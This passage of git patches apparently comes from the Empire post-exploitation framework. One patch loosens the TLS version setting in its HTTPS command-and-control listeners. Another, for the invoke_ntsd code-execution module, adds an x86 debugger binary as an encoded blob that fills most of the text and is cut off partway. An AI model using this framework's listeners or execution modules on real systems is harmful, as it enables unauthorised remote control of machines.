@@ -630,7 +630,16 @@ class Listener:
             host = listenerOptions['Host']['Value']
             if certPath.strip() != '' and host.startswith('https'):
                 certPath = os.path.abspath(certPath)
-                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
+
+                # support any version of tls
+                if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
+                    proto = ssl.PROTOCOL_TLS
+                elif pyversion[0] >= 3:
+                    proto = ssl.PROTOCOL_TLS
+                else:
+                    proto = ssl.PROTOCOL_SSLv23
+
+                context = ssl.SSLContext(proto)
                 context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key"  % (certPath))
                 app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
             else:
diff --git a/lib/listeners/http_mapi.py b/lib/listeners/http_mapi.py
index 1bedc03..41c8e73 100644
--- a/lib/listeners/http_mapi.py
+++ b/lib/listeners/http_mapi.py
@@ -616,7 +616,16 @@ class Listener:
             host = listenerOptions['Host']['Value']
             if certPath.strip() != '' and host.startswith('https'):
                 certPath = os.path.abspath(certPath)
-                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
+
+                # support any version of tls
+                if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
+                    proto = ssl.PROTOCOL_TLS
+                elif pyversion[0] >= 3:
+                    proto = ssl.PROTOCOL_TLS
+                else:
+                    proto = ssl.PROTOCOL_SSLv23
+
+                context = ssl.SSLContext(proto)
                 context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key"  % (certPath))
                 app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
             else:

From a645d461eff7e6bbf217573fabf7a582a5dec1cd Mon Sep 17 00:00:00 2001
From: root <root@localhost.localdomain>
Date: Thu, 19 Oct 2017 11:10:39 -0400
Subject: [PATCH 24/50] changes to the invoke_ntsd module

---
 .../code_execution/{ntsd.exe => ntsd_x64.exe} | Bin
 .../module_source/code_execution/ntsd_x86.exe | Bin 0 -> 88008 bytes
 .../{ntsdexts.dll => ntsdexts_x64.dll}        | Bin
 .../code_execution/ntsdexts_x86.dll           | Bin 0 -> 81864 bytes
 lib/common/stagers.py                         |  16 +++
 .../powershell/code_execution/invoke_ntsd.py  | 126 ++++++++++--------
 6 files changed, 84 insertions(+), 58 deletions(-)
 rename data/module_source/code_execution/{ntsd.exe => ntsd_x64.exe} (100%)
 create mode 100644 data/module_source/code_execution/ntsd_x86.exe
 rename data/module_source/code_execution/{ntsdexts.dll => ntsdexts_x64.dll} (100%)
 create mode 100644 data/module_source/code_execution/ntsdexts_x86.dll

diff --git a/data/module_source/code_execution/ntsd.exe b/data/module_source/code_execution/ntsd_x64.exe
similarity index 100%
rename from data/module_source/code_execution/ntsd.exe
rename to data/module_source/code_execution/ntsd_x64.exe
diff --git a/data/module_source/code_execution/ntsd_x86.exe b/data/module_source/code_execution/ntsd_x86.exe
new file mode 100644
index 0000000000000000000000000000000000000000..321772f947e83ec9342c5dbdfeaed9937ff84191
GIT binary patch
literal 88008
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
